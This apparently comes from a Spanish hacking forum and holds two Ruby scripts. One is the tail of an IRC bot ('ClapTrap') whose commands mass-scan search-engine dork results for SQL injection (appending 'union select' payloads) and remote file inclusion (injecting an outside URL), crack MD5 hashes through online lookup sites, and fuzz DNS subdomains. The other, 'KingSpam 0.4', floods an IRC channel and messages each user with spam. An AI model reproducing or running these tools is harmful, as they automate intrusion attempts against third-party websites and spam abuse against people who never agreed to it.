    if code=~/<span class='middle_title'>Hashed string<\/span>: (.*?)<\/div>/
    password = $1
    resultado = resultado + "[+] md5.my-addr.co -> "+password+"\n"
    else
    resultado = resultado + "[-] md5.my-addr.co -> Not Found" +"\n"
    end

    code = tomar("http://md5decryption.com/index.php","hash="+md5+"&submit=Decrypt It!")

    if code=~/Decrypted Text: <\/b>(.*?)<\/font>/
    password = $1
    resultado = resultado + "[+] md5decryption.com -> "+password+"\n"
    else
    resultado = resultado +  "[-] md5decryption.com -> Not Found"+"\n"
    end

    return resultado

    end

    def tiny_url(page)
    resultado = ""
    code = toma("http://tinyurl.com/api-create.php?url="+page)
    if code=~/http/
    resultado = resultado + "[+] Link : "+code
    else
    resultado = resultado + "[-] Error"
    end
    return resultado
    end

    def codificar_hex(text)
    return "[+] Result : "+encode_hex(text)
    end

    def decodificar_hex(text)
    return "[+] Result : "+decode_hex(text)
    end

    def codificar_base64(text)
    return "[+] Result : "+Base64.encode64(text).chomp
    end

    def decodificar_base64(text)
    return "[+] Result : "+Base64.decode64(text).chomp
    end

    def codificar_ascii(text)
    resultado = ""
    resultado = resultado + "[+] Result : "+text.split("").map(&:ord).to_s
    return resultado
    end

    def md5_encode(text)
    return "[+] Result : "+Digest::MD5.hexdigest(text).chomp
    end


    def scanner_dns(domain)
     paths = ["www","www1","www2","www3","ftp","ns","mail","3com","aix","apache","back","bind","boreder","bsd","business","chains","cisco","content","corporate","cpv","dns","domino","dominoserver","download","e-mail","e-safe","email","esafe","external","extranet","firebox","firewall","front","fw","fw0","fwe","fw-1","firew","gate","gatekeeper","gateway","gauntlet","group","help","hop","hp","hpjet","hpux","http","https","hub","ibm","ids","info","inside","internal","internet","intranet","ipfw","irix","jet","list","lotus","lotusdomino","lotusnotes","lotusserver","mailfeed","mailgate","mailgateway","mailgroup","mailhost","maillist","mailpop","mailrelay","mimesweeper","ms","msproxy","mx","nameserver","news","newsdesk","newsfeed","newsgroup","newsroom","newsserver","nntp","notes","noteserver","notesserver","nt","outside","pix","pop","pop3","pophost","popmail","popserver","print","printer","private","proxy","proxyserver","public","qpop","raptor","read","redcreek","redhat","route","router","scanner","screen","screening","ecure","seek","smail","smap","smtp","smtpgateway","smtpgw","solaris","sonic","spool","squid","sun","sunos","suse","switch","transfer","trend","trendmicro","vlan","vpn","wall","web","webmail","webserver","webswitch","win2000","win2k","upload","file","fileserver","storage","backup","share","core","gw","wingate","main","noc","home","radius","security","access","dmz","domain","sql","mysql","mssql","postgres","db","database","imail","imap","exchange","sendmail","louts","test","logs","stage","staging","dev","devel","ppp","chat","irc","eng","admin","unix","linux","windows","apple","hp-ux","bigip","pc"]
     resultado = ""
     resultado = resultado + "[+] Searching DNS ...\n\n"
     control = "0"
     paths.each do |path|
    begin
    url = "http://"+path+"."+domain

    status_code = response_code(url)
    if status_code=="200"
    resultado = resultado + "[+] Link : "+url+"\n"
    control = "1"
    end
    end
     end

     if control=="1"
    resultado = resultado + "\n[+] Done\n"
     else
    resultado = resultado + "\n[-] Not Found\n"
     end

     return resultado
     
    end

    def sqli_finder(dork,pages,opcion)

    resultado = ""

    if opcion=="bing"

    resultado = resultado + "[+] Searching in Bing ...\n\n"

    links = cortar(bing(dork,pages))

    resultado = resultado + "[+] Pages Count : "+links.count.to_s+"\n\n"

    if links.count.to_s=="0"
    resultado = resultado + "[-] Links not found\n"
    end

    links.flatten.each do |link|
    resultado = resultado + "[+] Link : "+link
    begin
    url = toma(link + "-1+union+select+1--")
    if url=~/The used SELECT statements have a different number of columns/
    resultado = resultado + " [OK]\n"
    else
    resultado = resultado + " [FAIL]\n"
    end
    rescue
    resultado = resultado + " [FAIL]\n"
    end
    end

    resultado = resultado + "\n[+] Finished\n"

    elsif opcion=="google"

    resultado = resultado + "[+] Searching in Google ...\n\n"

    links = cortar(google(dork,pages))

    if links.count.to_s=="0"
    resultado = resultado + "[+] Searching in Google again ...\n\n"
    links = cortar(google_recursive(dork,pages))
    end

    resultado = resultado + "[+] Pages Count : "+links.count.to_s+"\n\n"

    if links.count.to_s=="0"
    resultado = resultado + "[-] Links not found"
    end

    links.flatten.each do |link|
    resultado = resultado + "[+] Link : "+link
    begin
    url = toma(link + "-1+union+select+1--")
    if url=~/The used SELECT statements have a different number of columns/
    resultado = resultado + " [OK]\n"
    else
    resultado = resultado + " [FAIL]\n"
    end
    rescue
    resultado = resultado + " [FAIL]\n"
    end
    end
    else
    resultado = "[-] Bad Option"
    end
    return resultado
    end

    def rfi_finder(dork,pages,opcion)

    resultado = ""

    if opcion=="bing"

    resultado = resultado + "[+] Searching in Bing ...\n\n"

    links = cortar(bing(dork,pages))

    resultado = resultado + "[+] Pages Count : "+links.count.to_s+"\n\n"

    if links.count.to_s=="0"
    resultado = resultado + "[-] Links not found\n"
    end

    links.flatten.each do |link|
    resultado = resultado + "[+] Link : "+link
    begin
    url = toma(link + "http://www.supertangas.com/")
    if url=~/Los mejores TANGAS de la red/i
    resultado = resultado + " [OK]\n"
    else
    resultado = resultado + " [FAIL]\n"
    end
    rescue
    resultado = resultado + " [FAIL]\n"
    end
    end

    resultado = resultado + "\n[+] Finished\n"

    elsif opcion=="google"

    resultado = resultado + "[+] Searching in Google ...\n\n"

    links = cortar(google(dork,pages))

    if links.count.to_s=="0"
    resultado = resultado + "[+] Searching in Google again ...\n\n"
    links = cortar(google_recursive(dork,pages))
    end

    resultado = resultado + "[+] Pages Count : "+links.count.to_s+"\n\n"

    if links.count.to_s=="0"
    resultado = resultado + "[-] Links not found"
    end

    links.flatten.each do |link|
    resultado = resultado + "[+] Link : "+link
    begin
    url = toma(link + "http://www.supertangas.com/")
    if url=~/Los mejores TANGAS de la red/i
    resultado = resultado + " [OK]\n"
    else
    resultado = resultado + " [FAIL]\n"
    end
    rescue
    resultado = resultado + " [FAIL]\n"
    end
    end
    else
    resultado = "[-] Bad Option"
    end
    return resultado
    end

    #

    def respuesta(to,texto)
    resultado = texto.split("\n")
    resultado.flatten.each do |linea|
    if linea != ""
    $irc.print "PRIVMSG #{to} #{linea}\n"
    sleep $timeout.to_i
    end
    end
    end

    def bot_online(host,port,canal,admin)
     print "\n[+] Connecting ...\n"
     begin
       $irc = TCPSocket.open(host,port)
     rescue
       print "\n[-] Error connecting\n"
     else
       nick = "ClapTrap"
       $irc.print "NICK "+nick+"\r\n"
       $irc.print "USER "+nick+" 1 1 1 1\r\n"
       $irc.print "JOIN #{canal}\r\n"
       print "\n[+] Online\n"
       while 1
         code = $irc.recv(9999)
         if code=~/PING (.*)/
           $irc.print "PONG #{$1}\n"
         end
         if code=~/:(.*)!(.*) PRIVMSG (.*) :(.*)/
         dedonde = $1
         mensaje = $4
         if dedonde==admin

    if mensaje=~/!sqli (.*)/
    arg1 = $1
    arg1 = arg1.chomp
    $irc.print "PRIVMSG #{admin} [+] Working ...\n"
    respuesta(admin,scanner_sqli(arg1,"--"))
    $irc.print "PRIVMSG #{admin} [+] Finished\n"
          end
          if mensaje=~/!lfi (.*)/
    arg1 = $1
    arg1 = arg1.chomp
    $irc.print "PRIVMSG #{admin} [+] Working ...\n"
    respuesta(admin,scanner_lfi(arg1))
    $irc.print "PRIVMSG #{admin} [+] Finished\n"
          end
          if mensaje=~/!panel(.*)/
    arg1 = $1
    arg1 = arg1.chomp
    $irc.print "PRIVMSG #{admin} [+] Working ...\n"
    respuesta(admin,scanner_panel(arg1))
    $irc.print "PRIVMSG #{admin} [+] Finished\n"
          end
          if mensaje=~/!fuzzdns (.*)/
    arg1 = $1
    arg1 = arg1.chomp
    $irc.print "PRIVMSG #{admin} [+] Working ...\n"
    respuesta(admin,scanner_dns(arg1))
    $irc.print "PRIVMSG #{admin} [+] Finished\n"
          end
          if mensaje=~/!locateip (.*)/
    arg1 = $1
    arg1 = arg1.chomp
    $irc.print "PRIVMSG #{admin} [+] Working ...\n"
    respuesta(admin, locateip(arg1))
    $irc.print "PRIVMSG #{admin} [+] Finished\n"
          end
          if mensaje=~/!sqlifinder (.*) (.*) (.*)/
    arg1 = $1
    arg2 = $2
    arg3 = $3
    arg1 = arg1.chomp
    arg2 = arg2.chomp
    arg3 = arg3.chomp
    $irc.print "PRIVMSG #{admin} [+] Working ...\n"
    respuesta(admin,sqli_finder(arg1,arg2,arg3))
    $irc.print "PRIVMSG #{admin} [+] Finished\n"
          end
          if mensaje=~/!rfifinder (.*) (.*) (.*)/
    arg1 = $1
    arg1 = $2
    arg1 = $3
    arg1 = arg1.chomp
    arg2 = arg2.chomp
    arg3 = arg3.chomp
    $irc.print "PRIVMSG #{admin} [+] Working ...\n"
    respuesta(admin,rfi_finder(arg1,arg2,arg3))
    $irc.print "PRIVMSG #{admin} [+] Finished\n"
          end
          if mensaje=~/!crackit (.*)/
    arg1 = $1
    arg1 = arg1.chomp
    $irc.print "PRIVMSG #{admin} [+] Working ...\n"
    respuesta(admin,crack_md5(arg1))
    $irc.print "PRIVMSG #{admin} [+] Finished\n"
          end
          if mensaje=~/!tinyurl (.*)/
    arg1 = $1
    arg1 = arg1.chomp
    $irc.print "PRIVMSG #{admin} [+] Working ...\n"
    respuesta(admin,tiny_url(arg1))
    $irc.print "PRIVMSG #{admin} [+] Finished\n"
          end
          if mensaje=~/!httpfinger (.*)/
    arg1 = $1
    arg1 = arg1.chomp
    $irc.print "PRIVMSG #{admin} [+] Working ...\n"
    respuesta(admin,get_httpfinger(arg1))
    $irc.print "PRIVMSG #{admin} [+] Finished\n"
          end
          if mensaje=~/!md5 (.*)/
    arg1 = $1
    arg1 = arg1.chomp
    $irc.print "PRIVMSG #{admin} [+] Working ...\n"
    respuesta(admin,md5_encode(arg1))
    $irc.print "PRIVMSG #{admin} [+] Finished\n"
          end
          if mensaje=~/!base64 (.*) (.*)/
    arg1 = $1
    arg2 = $2
    arg1 = arg1.chomp
    arg2 = arg2.chomp
    if arg2=="encode"
     $irc.print "PRIVMSG #{admin} [+] Working ...\n"
     respuesta(admin,codificar_base64(arg1))
     $irc.print "PRIVMSG #{admin} [+] Finished\n"
            end
    if arg2=="decode"
     $irc.print "PRIVMSG #{admin} [+] Working ...\n"
     respuesta(admin,decodificar_base64(arg1))
     $irc.print "PRIVMSG #{admin} [+] Finished\n"
            end              
          end

          if mensaje=~/!hex (.*) (.*)/
    arg1 = $1
    arg2 = $2
    arg1 = arg1.chomp
    arg2 = arg2.chomp
    if arg2=="encode"
     $irc.print "PRIVMSG #{admin} [+] Working ...\n"
     respuesta(admin,codificar_hex(arg1))
     $irc.print "PRIVMSG #{admin} [+] Finished\n"
            end
    if arg2=="decode"
     $irc.print "PRIVMSG #{admin} [+] Working ...\n"
     respuesta(admin,decodificar_hex(arg1))
     $irc.print "PRIVMSG #{admin} [+] Finished\n"
            end              
          end

     
          if mensaje=~/!ascii (.*)/
    arg1 = $1
    arg1 = arg1.chomp
    $irc.print "PRIVMSG #{admin} [+] Working ...\n"
    respuesta(admin,codificar_ascii(arg1))
    $irc.print "PRIVMSG #{admin} [+] Finished\n"
          end
          if mensaje=~/!help/
    about = ""
           about = about + "Hi , I am ClapTrap an assistant robot programmed by Doddy Hackman in the year 2014" + "\n";
                   about = about + "[++] Commands" + "\n";
                   about = about + "[+] !help" + "\n";
    about = about + "[+] !locateip <web>" + "\n";
                   about = about + "[+] !sqlifinder <dork> <count pages> <google/bing>" + "\n";
                   about = about + "[+] !rfifinder <dork> <count pages> <google/bing>" + "\n";
                   about = about + "[+] !panel <page>" + "\n";
                   about = about + "[+] !fuzzdns <domain>" + "\n";
                   about = about + "[+] !sqli <page>" + "\n";
    about = about + "[+] !lfi <page>" + "\n";
    about = about + "[+] !crackit <hash>" + "\n";
                   about = about + "[+] !tinyurl <page>" + "\n";
                   about = about + "[+] !httpfinger <page>" + "\n";
           about = about + "[+] !md5 <text>" + "\n";
                   about = about + "[+] !base64 <encode/decode> <text>" + "\n";
                   about = about + "[+] !ascii <encode/decode> <text>" + "\n";
                   about = about + "[+] !hex <encode/decode> <text>" + "\n";
                   about = about + "[++] Enjoy this IRC Bot" + "\n";
    respuesta(admin,about)
          end
         end
         end
       end
     end
    end

    head()

    print "[+] Host : "
    host = gets.chomp
    print "\n[+] Port : "
    port = gets.chomp
    print "\n[+] Channel : "
    channel = gets.chomp
    print "\n[+] Admin : "
    admin = gets.chomp

    bot_online(host,port,channel,admin)

    copyright()

    # The End ?


    Eso es todo.
#45
Scripting / [Ruby] KingSpam 0.4
18 Septiembre 2015, 16:49 PM
Un simple script en Ruby para hacer spam en un canal IRC.

El codigo :

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#KingSpam 0.4
#Coded By Doddy H

require "socket"

$nicks = ["ruben","negro jose","rasputin","juancho"]

def head()
  print "\n\n == -- KingSpam 0.4 -- ==\n\n"
end

def uso()
  print "\n[+] Sintax : #{$0} <host> <channel> <spam list>\n"
end

def copyright()
  print "\n\n(C) Doddy Hackman 2012\n\n"
end

def read_file(file)
  array = []
  File.open(file, "r") do |lineas|
    while (linea = lineas.gets)
      array.push(linea)
    end
  end
  return array
end

def load(host,canal,spam_list)
  print "\n[+] Connecting ...\n"
  begin
    irc = TCPSocket.open(host,"6667")
  rescue
    print "\n[-] Error\n"
  else
    lineas = read_file(spam_list)
    nick_azar = $nicks[rand($nicks.size)]
    irc.print "NICK "+nick_azar+"\r\n"
    irc.print "USER "+nick_azar+" 1 1 1 1\r\n"
    irc.print "JOIN #{canal}\r\n"
    print "\n[+] Online\n"
    while 1
      code = irc.recv(9999)
      #print code+"\n"
      if code=~/PING (.*)/
        irc.print "PONG #{$1}\n"
      end
      if code=~/:(.*) 353 (.*) = (.*) :(.*)/
      nicks_found = $4
      nicks = nicks_found.split(" ")
      end
     
      print "\n[+] The party started\n\n"
      while 1
        sleep(20) # 1 minute
        texto = lineas[rand(lineas.size)]
print "[+] Spamming channel #{canal}\n"
irc.print "PRIVMSG #{canal} #{texto}\n"

nicks.flatten.each do |nick|
  if nick!=nick_azar
    nick = nick.sub("+","")
    nick = nick.sub("@","")
    print "[+] Spam User : "+nick+"\n"
    irc.print "PRIVMSG #{nick} #{texto}\n"
  end
end
      end
    end
  end
end

head()

host = ARGV[0]
canal = ARGV[1]
spam_list = ARGV[2]

if !host and !canal and !spam_list
  uso()
else
  load(host,canal,spam_list)
end

copyright()

# The End ?


Eso es todo.